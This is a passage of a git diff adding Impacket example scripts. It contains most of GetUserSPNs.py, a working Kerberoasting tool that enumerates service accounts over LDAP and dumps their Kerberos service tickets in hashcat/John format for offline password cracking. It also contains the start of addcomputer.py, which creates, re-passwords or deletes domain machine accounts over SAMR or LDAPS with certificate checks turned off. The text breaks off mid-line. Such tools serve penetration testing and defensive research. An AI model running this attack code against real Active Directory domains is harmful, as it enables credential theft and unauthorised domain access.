self.__kdcIP = None + self.__kdcHost = None + + def getMachineName(self, target): + try: + s = SMBConnection(target, target) + s.login('', '') + except OSError as e: + if str(e).find('timed out') > 0: + raise Exception('The connection is timed out. Probably 445/TCP port is closed. Try to specify ' + 'corresponding NetBIOS name or FQDN as the value of the -dc-host option') + else: + raise + except SessionError as e: + if str(e).find('STATUS_NOT_SUPPORTED') > 0: + raise Exception('The SMB request is not supported. Probably NTLM is disabled. Try to specify ' + 'corresponding NetBIOS name or FQDN as the value of the -dc-host option') + else: + raise + except Exception: + if s.getServerName() == '': + raise Exception('Error while anonymous logging into %s' % target) + else: + s.logoff() + return "%s.%s" % (s.getServerName(), s.getServerDNSDomainName()) + + @staticmethod + def getUnixTime(t): + t -= 116444736000000000 + t /= 10000000 + return t + + def getTGT(self): + domain, _, TGT, _ = CCache.parseFile(self.__domain) + if TGT is not None: + return TGT + + # No TGT in cache, request it + userName = Principal(self.__username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) + + # In order to maximize the probability of getting session tickets with RC4 etype, we will convert the + # password to ntlm hashes (that will force to use RC4 for the TGT). If that doesn't work, we use the + # cleartext password. + # If no clear text password is provided, we just go with the defaults. + if self.__password != '' and (self.__lmhash == '' and self.__nthash == ''): + try: + tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, '', self.__domain, + compute_lmhash(self.__password), + compute_nthash(self.__password), self.__aesKey, + kdcHost=self.__kdcIP) + except Exception as e: + logging.debug('TGT: %s' % str(e)) + tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, + unhexlify(self.__lmhash), + unhexlify(self.__nthash), self.__aesKey, + kdcHost=self.__kdcIP) + + else: + tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, + unhexlify(self.__lmhash), + unhexlify(self.__nthash), self.__aesKey, + kdcHost=self.__kdcIP) + TGT = {} + TGT['KDC_REP'] = tgt + TGT['cipher'] = cipher + TGT['sessionKey'] = sessionKey + + return TGT + + def outputTGS(self, tgs, oldSessionKey, sessionKey, username, spn, fd=None): + decodedTGS = decoder.decode(tgs, asn1Spec=TGS_REP())[0] + + # According to RFC4757 (RC4-HMAC) the cipher part is like: + # struct EDATA { + # struct HEADER { + # OCTET Checksum[16]; + # OCTET Confounder[8]; + # } Header; + # OCTET Data[0]; + # } edata; + # + # In short, we're interested in splitting the checksum and the rest of the encrypted data + # + # Regarding AES encryption type (AES128 CTS HMAC-SHA1 96 and AES256 CTS HMAC-SHA1 96) + # last 12 bytes of the encrypted ticket represent the checksum of the decrypted + # ticket + if decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.rc4_hmac.value: + entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % ( + constants.EncryptionTypes.rc4_hmac.value, username, decodedTGS['ticket']['realm'], + spn.replace(':', '~'), + hexlify(decodedTGS['ticket']['enc-part']['cipher'][:16].asOctets()).decode(), + hexlify(decodedTGS['ticket']['enc-part']['cipher'][16:].asOctets()).decode()) + if fd is None: + print(entry) + else: + fd.write(entry + '\n') + elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value: + entry = '$krb5tgs$%d$%s$%s$*%s*$%s$%s' % ( + constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value, username, decodedTGS['ticket']['realm'], + spn.replace(':', '~'), + hexlify(decodedTGS['ticket']['enc-part']['cipher'][-12:].asOctets()).decode(), + hexlify(decodedTGS['ticket']['enc-part']['cipher'][:-12:].asOctets()).decode()) + if fd is None: + print(entry) + else: + fd.write(entry + '\n') + elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value: + entry = '$krb5tgs$%d$%s$%s$*%s*$%s$%s' % ( + constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value, username, decodedTGS['ticket']['realm'], + spn.replace(':', '~'), + hexlify(decodedTGS['ticket']['enc-part']['cipher'][-12:].asOctets()).decode(), + hexlify(decodedTGS['ticket']['enc-part']['cipher'][:-12:].asOctets()).decode()) + if fd is None: + print(entry) + else: + fd.write(entry + '\n') + elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.des_cbc_md5.value: + entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % ( + constants.EncryptionTypes.des_cbc_md5.value, username, decodedTGS['ticket']['realm'], + spn.replace(':', '~'), + hexlify(decodedTGS['ticket']['enc-part']['cipher'][:16].asOctets()).decode(), + hexlify(decodedTGS['ticket']['enc-part']['cipher'][16:].asOctets()).decode()) + if fd is None: + print(entry) + else: + fd.write(entry + '\n') + else: + logging.error('Skipping %s/%s due to incompatible e-type %d' % ( + decodedTGS['ticket']['sname']['name-string'][0], decodedTGS['ticket']['sname']['name-string'][1], + decodedTGS['ticket']['enc-part']['etype'])) + + if self.__saveTGS is True: + # Save the ticket + logging.debug('About to save TGS for %s' % username) + ccache = CCache() + try: + ccache.fromTGS(tgs, oldSessionKey, sessionKey) + ccache.saveFile('%s.ccache' % username) + except Exception as e: + logging.error(str(e)) + + def run(self): + if self.__usersFile: + self.request_users_file_TGSs() + return + + if self.__kdcHost is not None and self.__targetDomain == self.__domain: + self.__target = self.__kdcHost + else: + if self.__kdcIP is not None and self.__targetDomain == self.__domain: + self.__target = self.__kdcIP + else: + self.__target = self.__targetDomain + + if self.__doKerberos: + logging.info('Getting machine hostname') + self.__target = self.getMachineName(self.__target) + + # Connect to LDAP + try: + ldapConnection = ldap.LDAPConnection('ldap://%s' % self.__target, self.baseDN, self.__kdcIP) + if self.__doKerberos is not True: + ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) + else: + ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, + self.__nthash, + self.__aesKey, kdcHost=self.__kdcIP) + except ldap.LDAPSessionError as e: + if str(e).find('strongerAuthRequired') >= 0: + # We need to try SSL + ldapConnection = ldap.LDAPConnection('ldaps://%s' % self.__target, self.baseDN, self.__kdcIP) + if self.__doKerberos is not True: + ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) + else: + ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, + self.__nthash, + self.__aesKey, kdcHost=self.__kdcIP) + else: + if str(e).find('NTLMAuthNegotiate') >= 0: + logging.critical("NTLM negotiation failed. Probably NTLM is disabled. Try to use Kerberos " + "authentication instead.") + else: + if self.__kdcIP is not None and self.__kdcHost is not None: + logging.critical("If the credentials are valid, check the hostname and IP address of KDC. They " + "must match exactly each other") + raise + + # Building the search filter + searchFilter = "(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512)" \ + "(!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(objectCategory=computer))" + + if self.__requestUser is not None: + searchFilter += '(sAMAccountName:=%s))' % self.__requestUser + else: + searchFilter += ')' + + try: + resp = ldapConnection.search(searchFilter=searchFilter, + attributes=['servicePrincipalName', 'sAMAccountName', + 'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon'], + sizeLimit=100000) + except ldap.LDAPSearchError as e: + if e.getErrorString().find('sizeLimitExceeded') >= 0: + logging.debug('sizeLimitExceeded exception caught, giving up and processing the data received') + # We reached the sizeLimit, process the answers we have already and that's it. Until we implement + # paged queries + resp = e.getAnswers() + pass + else: + raise + + answers = [] + logging.debug('Total of records returned %d' % len(resp)) + + for item in resp: + if isinstance(item, ldapasn1.SearchResultEntry) is not True: + continue + mustCommit = False + sAMAccountName = '' + memberOf = '' + SPNs = [] + pwdLastSet = '' + userAccountControl = 0 + lastLogon = 'N/A' + delegation = '' + try: + for attribute in item['attributes']: + if str(attribute['type']) == 'sAMAccountName': + sAMAccountName = str(attribute['vals'][0]) + mustCommit = True + elif str(attribute['type']) == 'userAccountControl': + userAccountControl = str(attribute['vals'][0]) + if int(userAccountControl) & UF_TRUSTED_FOR_DELEGATION: + delegation = 'unconstrained' + elif int(userAccountControl) & UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION: + delegation = 'constrained' + elif str(attribute['type']) == 'memberOf': + memberOf = str(attribute['vals'][0]) + elif str(attribute['type']) == 'pwdLastSet': + if str(attribute['vals'][0]) == '0': + pwdLastSet = '' + else: + pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0]))))) + elif str(attribute['type']) == 'lastLogon': + if str(attribute['vals'][0]) == '0': + lastLogon = '' + else: + lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0]))))) + elif str(attribute['type']) == 'servicePrincipalName': + for spn in attribute['vals']: + SPNs.append(str(spn)) + + if mustCommit is True: + if int(userAccountControl) & UF_ACCOUNTDISABLE: + logging.debug('Bypassing disabled account %s ' % sAMAccountName) + else: + for spn in SPNs: + answers.append([spn, sAMAccountName, memberOf, pwdLastSet, lastLogon, delegation]) + except Exception as e: + logging.error('Skipping item, cannot process due to error %s' % str(e)) + pass + + if len(answers) > 0: + self.printTable(answers, header=["ServicePrincipalName", "Name", "MemberOf", "PasswordLastSet", "LastLogon", + "Delegation"]) + print('\n\n') + + if self.__requestTGS is True or self.__requestUser is not None: + # Let's get unique user names and a SPN to request a TGS for + users = dict((vals[1], vals[0]) for vals in answers) + + # Get a TGT for the current user + TGT = self.getTGT() + + if self.__outputFileName is not None: + fd = open(self.__outputFileName, 'w+') + else: + fd = None + + for user, SPN in users.items(): + sAMAccountName = user + downLevelLogonName = self.__targetDomain + "\\" + sAMAccountName + + try: + principalName = Principal() + principalName.type = constants.PrincipalNameType.NT_MS_PRINCIPAL.value + principalName.components = [downLevelLogonName] + + tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(principalName, self.__domain, + self.__kdcHost, + TGT['KDC_REP'], TGT['cipher'], + TGT['sessionKey']) + self.outputTGS(tgs, oldSessionKey, sessionKey, sAMAccountName, + self.__targetDomain + "/" + sAMAccountName, fd) + except Exception as e: + logging.debug("Exception:", exc_info=True) + logging.error('Principal: %s - %s' % (downLevelLogonName, str(e))) + + if fd is not None: + fd.close() + + else: + print("No entries found!") + + def request_users_file_TGSs(self): + + with open(self.__usersFile) as fi: + usernames = [line.strip() for line in fi] + + self.request_multiple_TGSs(usernames) + + def request_multiple_TGSs(self, usernames): + # Get a TGT for the current user + TGT = self.getTGT() + + if self.__outputFileName is not None: + fd = open(self.__outputFileName, 'w+') + else: + fd = None + + for username in usernames: + try: + principalName = Principal() + principalName.type = constants.PrincipalNameType.NT_ENTERPRISE.value + principalName.components = [username] + + tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(principalName, self.__domain, + self.__kdcHost, + TGT['KDC_REP'], TGT['cipher'], + TGT['sessionKey']) + self.outputTGS(tgs, oldSessionKey, sessionKey, username, username, fd) + except Exception as e: + logging.debug("Exception:", exc_info=True) + logging.error('Principal: %s - %s' % (username, str(e))) + + if fd is not None: + fd.close() + + +# Process command-line arguments. +if __name__ == '__main__': + print(version.BANNER) + + parser = argparse.ArgumentParser(add_help=True, description="Queries target domain for SPNs that are running " + "under a user account") + + parser.add_argument('target', action='store', help='domain[/username[:password]]') + parser.add_argument('-target-domain', action='store', + help='Domain to query/request if different than the domain of the user. ' + 'Allows for Kerberoasting across trusts.') + parser.add_argument('-usersfile', help='File with user per line to test') + parser.add_argument('-request', action='store_true', default=False, help='Requests TGS for users and output them ' + 'in JtR/hashcat format (default False)') + parser.add_argument('-request-user', action='store', metavar='username', help='Requests TGS for the SPN associated ' + 'to the user specified (just the username, no domain needed)') + parser.add_argument('-save', action='store_true', default=False, help='Saves TGS requested to disk. Format is ' + '.ccache. Auto selects -request') + parser.add_argument('-outputfile', action='store', + help='Output filename to write ciphers in JtR/hashcat format') + parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + + group = parser.add_argument_group('authentication') + + group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') + group.add_argument('-k', action="store_true", + help='Use Kerberos authentication. Grabs credentials from ccache file ' + '(KRB5CCNAME) based on target parameters. If valid credentials ' + 'cannot be found, it will use the ones specified in the command ' + 'line') + group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication ' + '(128 or 256 bits)') + + group = parser.add_argument_group('connection') + group.add_argument('-dc-ip', action='store', metavar='ip address', help='IP Address of the domain controller. If ' + 'ommited it use the domain part (FQDN) ' + 'specified in the target parameter. Ignored' + 'if -target-domain is specified.') + group.add_argument('-dc-host', action='store', metavar='hostname', help='Hostname of the domain controller to use. ' + 'If ommited, the domain part (FQDN) ' + 'specified in the account parameter will be used') + + if len(sys.argv) == 1: + parser.print_help() + sys.exit(1) + + options = parser.parse_args() + + # Init the example's logger theme + logger.init(options.ts) + + if options.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + # Print the Library's installation path + logging.debug(version.getInstallationPath()) + else: + logging.getLogger().setLevel(logging.INFO) + + userDomain, username, password = parse_credentials(options.target) + + if userDomain == '': + logging.critical('userDomain should be specified!') + sys.exit(1) + + if options.target_domain: + targetDomain = options.target_domain + else: + targetDomain = userDomain + + if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: + from getpass import getpass + + password = getpass("Password:") + + if options.aesKey is not None: + options.k = True + + if options.save is True or options.outputfile is not None: + options.request = True + + try: + executer = GetUserSPNs(username, password, userDomain, targetDomain, options) + executer.run() + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + traceback.print_exc() + logging.error(str(e)) diff --git a/examples/addcomputer.py b/examples/addcomputer.py new file mode 100644 index 0000000..c28112f --- /dev/null +++ b/examples/addcomputer.py @@ -0,0 +1,621 @@ +#!/usr/bin/env python +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# This script will add a computer account to the domain and set its password. +# Allows to use SAMR over SMB (this way is used by modern Windows computer when +# adding machines through the GUI) and LDAPS. +# Plain LDAP is not supported, as it doesn't allow setting the password. +# +# Author: +# JaGoTu (@jagotu) +# +# Reference for: +# SMB, SAMR, LDAP +# +# ToDo: +# [ ]: Complete the process of joining a client computer to a domain via the SAMR protocol +# + +from __future__ import division +from __future__ import print_function +from __future__ import unicode_literals + +from impacket import version +from impacket.examples import logger +from impacket.examples.utils import parse_credentials +from impacket.dcerpc.v5 import samr, epm, transport +from impacket.spnego import SPNEGO_NegTokenInit, TypesMech + +import ldap3 +import argparse +import logging +import sys +import string +import random +import ssl +from binascii import unhexlify + + +class ADDCOMPUTER: + def __init__(self, username, password, domain, cmdLineOptions): + self.options = cmdLineOptions + self.__username = username + self.__password = password + self.__domain = domain + self.__lmhash = '' + self.__nthash = '' + self.__hashes = cmdLineOptions.hashes + self.__aesKey = cmdLineOptions.aesKey + self.__doKerberos = cmdLineOptions.k + self.__target = cmdLineOptions.dc_host + self.__kdcHost = cmdLineOptions.dc_host + self.__computerName = cmdLineOptions.computer_name + self.__computerPassword = cmdLineOptions.computer_pass + self.__method = cmdLineOptions.method + self.__port = cmdLineOptions.port + self.__domainNetbios = cmdLineOptions.domain_netbios + self.__noAdd = cmdLineOptions.no_add + self.__delete = cmdLineOptions.delete + self.__targetIp = cmdLineOptions.dc_ip + self.__baseDN = cmdLineOptions.baseDN + self.__computerGroup = cmdLineOptions.computer_group + + if self.__targetIp is not None: + self.__kdcHost = self.__targetIp + + if self.__method not in ['SAMR', 'LDAPS']: + raise ValueError("Unsupported method %s" % self.__method) + + if self.__doKerberos and cmdLineOptions.dc_host is None: + raise ValueError("Kerberos auth requires DNS name of the target DC. Use -dc-host.") + + if self.__method == 'LDAPS' and not '.' in self.__domain: + logging.warning('\'%s\' doesn\'t look like a FQDN. Generating baseDN will probably fail.' % self.__domain) + + if cmdLineOptions.hashes is not None: + self.__lmhash, self.__nthash = cmdLineOptions.hashes.split(':') + + if self.__computerName is None: + if self.__noAdd: + raise ValueError("You have to provide a computer name when using -no-add.") + elif self.__delete: + raise ValueError("You have to provide a computer name when using -delete.") + else: + if self.__computerName[-1] != '$': + self.__computerName += '$' + + if self.__computerPassword is None: + self.__computerPassword = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(32)) + + if self.__target is None: + if not '.' in self.__domain: + logging.warning('No DC host set and \'%s\' doesn\'t look like a FQDN. DNS resolution of short names will probably fail.' % self.__domain) + self.__target = self.__domain + + if self.__port is None: + if self.__method == 'SAMR': + self.__port = 445 + elif self.__method == 'LDAPS': + self.__port = 636 + + if self.__domainNetbios is None: + self.__domainNetbios = self.__domain + + if self.__method == 'LDAPS' and self.__baseDN is None: + # Create the baseDN + domainParts = self.__domain.split('.') + self.__baseDN = '' + for i in domainParts: + self.__baseDN += 'dc=%s,' % i + # Remove last ',' + self.__baseDN = self.__baseDN[:-1] + + if self.__method == 'LDAPS' and self.__computerGroup is None: + self.__computerGroup = 'CN=Computers,' + self.__baseDN + + + + def run_samr(self): + if self.__targetIp is not None: + stringBinding = epm.hept_map(self.__targetIp, samr.MSRPC_UUID_SAMR, protocol = 'ncacn_np') + else: + stringBinding = epm.hept_map(self.__target, samr.MSRPC_UUID_SAMR, protocol = 'ncacn_np') + rpctransport = transport.DCERPCTransportFactory(stringBinding) + rpctransport.set_dport(self.__port) + + if self.__targetIp is not None: + rpctransport.setRemoteHost(self.__targetIp) + rpctransport.setRemoteName(self.__target) + + if hasattr(rpctransport, 'set_credentials'): + # This method exists only for selected protocol sequences. + rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, + self.__nthash, self.__aesKey) + + rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost) + self.doSAMRAdd(rpctransport) + + def run_ldaps(self): + connectTo = self.__target + if self.__targetIp is not None: + connectTo = self.__targetIp + try: + user = '%s\\%s' % (self.__domain, self.__username) + tls = ldap3.Tls(validate=ssl.CERT_NONE, version=ssl.PROTOCOL_TLSv1_2) + try: + ldapServer = ldap3.Server(connectTo, use_ssl=True, port=self.__port, get_info=ldap3.ALL, tls=tls) + if self.__doKerberos: + ldapConn = ldap3.Connection(ldapServer) + self.LDAP3KerberosLogin(ldapConn, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, + self.__aesKey, kdcHost=self.__kdcHost) + elif self.__hashes is not None: + ldapConn = ldap3.Connection(ldapServer, user=user, password=self.__hashes, authentication=ldap3.NTLM) + ldapConn.bind() + else: + ldapConn = ldap3.Connection(ldapServer, user=user, password=self.__password, authentication=ldap3.NTLM) + ldapConn.bind() + + except ldap3.core.exceptions.LDAPSocketOpenError: + #try tlsv1 + tls = ldap3.Tls(validate=ssl.CERT_NONE, version=ssl.PROTOCOL_TLSv1) + ldapServer = ldap3.Server(connectTo, use_ssl=True, port=self.__port, get_info=ldap3.ALL, tls=tls) + if self.__doKerberos: + ldapConn = ldap3.Connection(ldapServer) + self.LDAP3KerberosLogin(ldapConn, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, + self.__aesKey, kdcHost=self.__kdcHost) + elif self.__hashes is not None: + ldapConn = ldap3.Connection(ldapServer, user=user, password=self.__hashes, authentication=ldap3.NTLM) + ldapConn.bind() + else: + ldapConn = ldap3.Connection(ldapServer, user=user, password=self.__password, authentication=ldap3.NTLM) + ldapConn.bind() + + + + if self.__noAdd or self.__delete: + if not self.LDAPComputerExists(ldapConn, self.__computerName): + raise Exception("Account %s not found in %s!" % (self.__computerName, self.__baseDN)) + + computer = self.LDAPGetComputer(ldapConn, self.__computerName) + + if self.__delete: + res = ldapConn.delete(computer.entry_dn) + message = "delete" + else: + res = ldapConn.modify(computer.entry_dn, {'unicodePwd': [(ldap3.MODIFY_REPLACE, ['"{}"'.format(self.__computerPassword).encode('utf-16-le')])]}) + message = "set password for" + + + if not res: + if ldapConn.result['result'] == ldap3.core.results.RESULT_INSUFFICIENT_ACCESS_RIGHTS: + raise Exception("User %s doesn't have right to %s %s!" % (self.__username, message, self.__computerName)) + else: + raise Exception(str(ldapConn.result)) + else: + if self.__noAdd: + logging.info("Succesfully set password of %s to %s." % (self.__computerName, self.__computerPassword)) + else: + logging.info("Succesfully deleted %s." % self.__computerName) + + else: + if self.__computerName is not None: + if self.LDAPComputerExists(ldapConn, self.__computerName): + raise Exception("Account %s already exists! If you just want to set a password, use -no-add." % self.__computerName) + else: + while True: + self.__computerName = self.generateComputerName() + if not self.LDAPComputerExists(ldapConn, self.__computerName): + break + + + computerHostname = self.__computerName[:-1] + computerDn = ('CN=%s,%s' % (computerHostname, self.__computerGroup)) + + # Default computer SPNs + spns = [ + 'HOST/%s' % computerHostname, + 'HOST/%s.%s' % (computerHostname, self.__domain), + 'RestrictedKrbHost/%s' % computerHostname, + 'RestrictedKrbHost/%s.%s' % (computerHostname, self.__domain), + ] + ucd = { + 'dnsHostName': '%s.%s' % (computerHostname, self.__domain), + 'userAccountControl': 0x1000, + 'servicePrincipalName': spns, + 'sAMAccountName': self.__computerName, + 'unicodePwd': ('"%s"' % self.__computerPassword).encode('utf-16-le') + } + + res = ldapConn.add(computerDn, ['top','person','organizationalPerson','user','computer'], ucd) + if not res: + if ldapConn.result['result'] == ldap3.core.results.RESULT_UNWILLING_TO_PERFORM: + error_code = int(ldapConn.result['message'].split(':')[0].strip(), 16) + if error_code == 0x216D: + raise Exception("User %s machine quota exceeded!" % self.__username) + else: + raise Exception(str(ldapConn.result)) + elif ldapConn.result['result'] == ldap3.core.results.RESULT_INSUFFICIENT_ACCESS_RIGHTS: + raise Exception("User %s doesn't have right to create a machine account!" % self.__username) + else: + raise Exception(str(ldapConn.result)) + else: + logging.info("Successfully added machine account %s with password %s." % (self.__computerName, self.__computerPassword)) + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + traceback.print_exc() + + logging.critical(str(e)) + + + def LDAPComputerExists(self, connection, computerName): + connection.search(self.__baseDN, '(sAMAccountName=%s)' % computerName) + return len(connection.entries) ==1 + + def LDAPGetComputer(self, connection, computerName): + connection.search(self.__baseDN, '(sAMAccountName=%s)' % computerName) + return connection.entries[0] + + def LDAP3KerberosLogin(self, connection, user, password, domain='', lmhash='', nthash='', aesKey='', kdcHost=None, TGT=None, + TGS=None, useCache=True): + from pyasn1.codec.ber import encoder, decoder + from pyasn1.type.univ import noValue + """ + logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported. + + :param string user: username + :param string password: password for the user + :param string domain: domain where the account is valid for (required) + :param string lmhash: LMHASH used to authenticate using hashes (password is not used) + :param string nthash: NTHASH used to authenticate using hashes (password is not used) + :param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication + :param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho) + :param struct TGT: If there's a TGT available, send the structure here and it will be used + :param struct TGS: same for TGS. See smb3.py for the format + :param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False + + :return: True, raises an Exception if error. + """ + + if lmhash != '' or nthash != '': + if len(lmhash) % 2: + lmhash = '0' + lmhash + if len(nthash) % 2: + nthash = '0' + nthash + try: # just in case they were converted already + lmhash = unhexlify(lmhash) + nthash = unhexlify(nthash) + except TypeError: + pass + + # Importing down here so pyasn1 is not required if kerberos is not used. + from impacket.krb5.ccache import CCache + from impacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REP, seq_set + from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS + from impacket.krb5 import constants + from impacket.krb5.types import Principal, KerberosTime, Ticket + import datetime + + if TGT is not None or TGS is not None: + useCache = False + + targetName = 'ldap/%s' % self.__target + if useCache: + domain, user, TGT, TGS = CCache.parseFile(domain, user, targetName) + + # First of all, we need to get a TGT for the user + userName = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) + if TGT is None: + if TGS is None: + tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, password, domain, lmhash, nthash, + aesKey, kdcHost) + else: + tgt = TGT['KDC_REP'] + cipher = TGT['cipher'] + sessionKey = TGT['sessionKey'] + + if TGS is None: + serverName = Principal(targetName, type=constants.PrincipalNameType.NT_SRV_INST.value) + tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, kdcHost, tgt, cipher, + sessionKey) + else: + tgs = TGS['KDC_REP'] + cipher = TGS['cipher'] + sessionKey = TGS['sessionKey'] + + # Let's build a NegTokenInit with a Kerberos REQ_AP + + blob = SPNEGO_NegTokenInit() + + # Kerberos + blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']] + + # Let's extract the ticket from the TGS + tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0] + ticket = Ticket() + ticket.from_asn1(tgs['ticket']) + + # Now let's build the AP_REQ + apReq = AP_REQ() + apReq['pvno'] = 5 + apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) + + opts = [] + apReq['ap-options'] = constants.encodeFlags(opts) + seq_set(apReq, 'ticket', ticket.to_asn1) + + authenticator = Authenticator() + authenticator['authenticator-vno'] = 5 + authenticator['crealm'] = domain + seq_set(authenticator, 'cname', userName.components_to_asn1) + now = datetime.datetime.utcnow() + + authenticator['cusec'] = now.microsecond + authenticator['ctime'] = KerberosTime.to_asn1(now) + + encodedAuthenticator = encoder.encode(authenticator) + + # Key Usage 11 + # AP-REQ Authenticator (includes application authenticator + # subkey), encrypted with the application session key + # (Section 5.5.1) + encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None) + + apReq['authenticator'] = noValue + apReq['authenticator']['etype'] = cipher.enctype + apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator + + blob['MechToken'] = encoder.encode(apReq) + + + request = ldap3.operation.bind.bind_operation(connection.version, ldap3.SASL, user, None, 'GSS-SPNEGO', blob.getData()) + + # Done with the Kerberos saga, now let's get into LDAP + # try to open connection if closed + if connection.closed: + connection.open(read_server_info=False) + + connection.sasl_in_progress = True + response = connection.post_send_single_response(connection.send('bindRequest', request, None)) + connection.sasl_in_progress = False + if response[0]['result'] != 0: + raise Exception(response) + + connection.bound = True + + return True + + def generateComputerName(self): + return 'DESKTOP-' + (''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8)) + '$') + + def doSAMRAdd(self, rpctransport): + dce = rpctransport.get_dce_rpc() + servHandle = None + domainHandle = None + userHandle = None + try: + dce.connect() + dce.bind(samr.MSRPC_UUID_SAMR) + + samrConnectResponse = samr.hSamrConnect5(dce, '\\\\%s\x00' % self.__target, + samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN ) + servHandle = samrConnectResponse['ServerHandle'] + + samrEnumResponse = samr.hSamrEnumerateDomainsInSamServer(dce, servHandle) + domains = samrEnumResponse['Buffer']['Buffer'] + domainsWithoutBuiltin = list(filter(lambda x : x['Name'].lower() != 'builtin', domains)) + + if len(domainsWithoutBuiltin) > 1: + domain = list(filter(lambda x : x['Name'].lower() == self.__domainNetbios, domains)) + if len(domain) != 1: + logging.critical("This server provides multiple domains and '%s' isn't one of them.", self.__domainNetbios) + logging.critical("Available domain(s):") + for domain in domains: + logging.error(" * %s" % domain['Name']) + logging.critical("Consider using -domain-netbios argument to specify which one you meant.") + raise Exception() + else: + selectedDomain = domain[0]['Name'] + else: + selectedDomain = domainsWithoutBuiltin[0]['Name'] + + samrLookupDomainResponse = samr.hSamrLookupDomainInSamServer(dce, servHandle, selectedDomain) + domainSID = samrLookupDomainResponse['DomainId'] + + if logging.getLogger().level == logging.DEBUG: + logging.info("Opening domain %s..." % selectedDomain) + samrOpenDomainResponse = samr.hSamrOpenDomain(dce, servHandle, samr.DOMAIN_LOOKUP | samr.DOMAIN_CREATE_USER , domainSID) + domainHandle = samrOpenDomainResponse['DomainHandle'] + + + if self.__noAdd or self.__delete: + try: + checkForUser = samr.hSamrLookupNamesInDomain(dce, domainHandle, [self.__computerName]) + except samr.DCERPCSessionError as e: + if e.error_code == 0xc0000073: + raise Exception("Account %s not found in domain %s!" % (self.__computerName, selectedDomain)) + else: + raise + + userRID = checkForUser['RelativeIds']['Element'][0] + if self.__delete: + access = samr.DELETE + message = "delete" + else: + access = samr.USER_FORCE_PASSWORD_CHANGE + message = "set password for" + try: + openUser = samr.hSamrOpenUser(dce, domainHandle, access, userRID) + userHandle = openUser['UserHandle'] + except samr.DCERPCSessionError as e: + if e.error_code == 0xc0000022: + raise Exception("User %s doesn't have right to %s %s!" % (self.__username, message, self.__computerName)) + else: + raise + else: + if self.__computerName is not None: + try: + checkForUser = samr.hSamrLookupNamesInDomain(dce, domainHandle, [self.__computerName]) + raise Exception("Account %s already exists! If you just want to set a password, use -no-add." % self.__computerName) + except samr.DCERPCSessionError as e: + if e.error_code != 0xc0000073: + raise + else: + foundUnused = False + while not foundUnused: + self.__computerName = self.generateComputerName() + try: + checkForUser = samr.hSamrLookupNamesInDomain(dce, domainHandle, [self.__computerName]) + except samr.DCERPCSessionError as e: + if e.error_code == 0xc0000073: + foundUnused = True + else: + raise + + try: + createUser = samr.hSamrCreateUser2InDomain(dce, domainHandle, self.__computerName, samr.USER_WORKSTATION_TRUST_ACCOUNT, samr.USER_FORCE_PASSWORD_CHANGE,) + except samr.DCERPCSessionError as e: + if e.error_code == 0xc0000022: + raise Exception("User %s doesn't have right to create a machine account!" % self.__username) + elif e.error_code == 0xc00002e7: + raise Exception("User %s machine quota 